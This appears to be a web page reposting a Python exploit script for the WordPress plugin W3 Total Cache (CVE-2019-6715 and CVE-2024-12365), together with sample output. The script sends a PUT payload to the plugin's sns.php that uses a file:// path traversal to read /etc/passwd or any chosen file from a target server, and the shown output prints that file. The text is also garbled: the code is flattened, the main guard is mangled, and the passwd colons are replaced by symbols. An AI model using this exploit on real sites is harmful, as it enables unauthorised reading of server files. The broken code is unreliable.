W3TotalChache

Test per CVE-2019-6715 (Lettura arbitraria di file) / CVE-2024-12365 (SSRF/Divulgazione di informazioni)

Utilizzo: python3 w3tc_scanner.py -u https://example.com -f /etc/passwd -d 3

import requests import argparse from urllib.parse import urlparse

def check_w3tc_version(url): try: response = requests.get(url, timeout=10) headers = response.headers

    # Check X-Powered-By header
    if 'X-Powered-By' in headers and 'W3 Total Cache' in headers['X-Powered-By']:
        version = headers['X-Powered-By'].split('/')[-1]
        return version
    
    # Check HTML content for version
    if 'W3 Total Cache' in response.text:
        version = response.text.split('W3 Total Cache/')[-1].split()[0][:5]
        return version
        
    return None
except Exception as e:
    print(f"Version check error: {str(e)}")
    return None

def test_file_read(target_url, file_path="/etc/passwd", depth=2): try: parsed = urlparse(target_url) base_url = f"{parsed.scheme}://{parsed.netloc}" traversal = '../' * depth exploit_url = f"{base_url}/wp-content/plugins/w3-total-cache/pub/sns.php"

    payload = {
        "Type": "SubscriptionConfirmation",
        "Message": "",
        "SubscribeURL": f"file:///{traversal}{file_path}"
    }
    
    headers = {'Content-Type': 'application/json'}
    response = requests.put(exploit_url, json=payload, headers=headers, timeout=15)
    
    if response.status_code == 200 and len(response.text) > 0:
        return True, response.text
    return False, None
    
except Exception as e:
    print(f"File read test error: {str(e)}")
    return False, None

def main(): parser = argparse.ArgumentParser(description='W3 Total Cache Vulnerability Scanner') parser.add_argument('-u', '--url', required=True, help='Target URL') parser.add_argument('-f', '--file', default="/etc/passwd", help='File to read (default: /etc/passwd)') parser.add_argument('-d', '--depth', type=int, default=2, help='Traversal depth (default: 2)')

args = parser.parse_args()

print(f"[*] Scanning {args.url}")

# Version check
version = check_w3tc_version(args.url)
if version:
    print(f"[!] Detected W3 Total Cache version: {version}")
    if version <= "2.8.1":
        print("[!] Vulnerable to CVE-2024-12365 (SSRF/Info Disclosure)")
else:
    print("[!] W3 Total Cache not detected through headers/content")

# File read vulnerability test
print("\n[*] Testing for CVE-2019-6715 (Arbitrary File Read)...")
vulnerable, content = test_file_read(args.url, args.file, args.depth)

if vulnerable:
    print(f"[!] Vulnerable to directory traversal!\nFile content:\n{content[:500]}...")
else:
    print("[+] No immediate file read vulnerability detected")

if name == "main": main()

Output: [*] Scanning https://example.com [!] Detected W3 Total Cache version: 2.8.0 [!] Vulnerable to CVE-2024-12365 (SSRF/Info Disclosure)

[*] Testing for CVE-2019-6715 (Arbitrary File Read)... [!] Vulnerable to directory traversal! File content: root❌0:0:root:/root:/bin/bash daemon❌1:1:daemon:/usr/sbin:/usr/sbin/nologin ...

W3TotalChache

Più Popolari

W3TotalChache